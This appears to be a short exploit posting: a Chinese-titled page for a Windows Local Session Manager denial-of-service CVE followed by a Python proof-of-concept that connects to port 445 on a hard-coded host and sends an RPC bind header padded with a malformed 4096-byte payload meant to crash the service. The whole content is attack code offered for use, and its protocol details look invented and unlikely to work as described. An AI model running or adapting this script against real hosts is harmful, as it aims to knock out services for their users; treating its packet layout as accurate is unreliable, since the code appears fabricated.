CVE-2025-59259 Windows本地会话管理器拒绝服务漏洞

# CVE-2025-59259 - Windows LSM Denial of Service PoC # This is a conceptual PoC demonstrating the attack pattern. # The vulnerability exists in Windows Local Session Manager (LSM) # due to improper validation of specified type of input. import socket import struct import sys # Target Windows host running vulnerable LSM service TARGET_HOST = "192.168.1.100" TARGET_PORT = 445 # SMB/RPC port commonly used by LSM def craft_malicious_lsm_request(): """ Craft a malformed RPC request targeting the Local Session Manager. The request contains invalid type data that triggers improper input validation in the vulnerable LSM component. """ # DCE/RPC bind request header rpc_bind = bytearray([ 0x05, 0x00, 0x0b, 0x03, # RPC version 5.0, minor 3 0x10, 0x00, 0x00, 0x00, # Packet type: BIND 0x48, 0x00, # Fragment length 0x00, 0x00, # Auth length 0x01, 0x00, 0x00, 0x00, # Call ID ]) # Malformed session management payload with invalid type field # The key exploit point: sending an unexpected/oversized type value # that LSM fails to properly validate malformed_payload = bytearray(4096) malformed_payload[0:4] = struct.pack('<I', 0xDEADBEEF) # Invalid type identifier malformed_payload[4:8] = struct.pack('<I', 0xFFFFFFFF) # Oversized length field malformed_payload[8:] = b'\x00' * (len(malformed_payload) - 8) return bytes(rpc_bind) + bytes(malformed_payload) def exploit(): print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print("[*] CVE-2025-59259 - Windows LSM DoS Exploit") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) payload = craft_malicious_lsm_request() sock.send(payload) print("[+] Malformed request sent successfully") print("[+] If target is vulnerable, LSM service may crash or hang") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()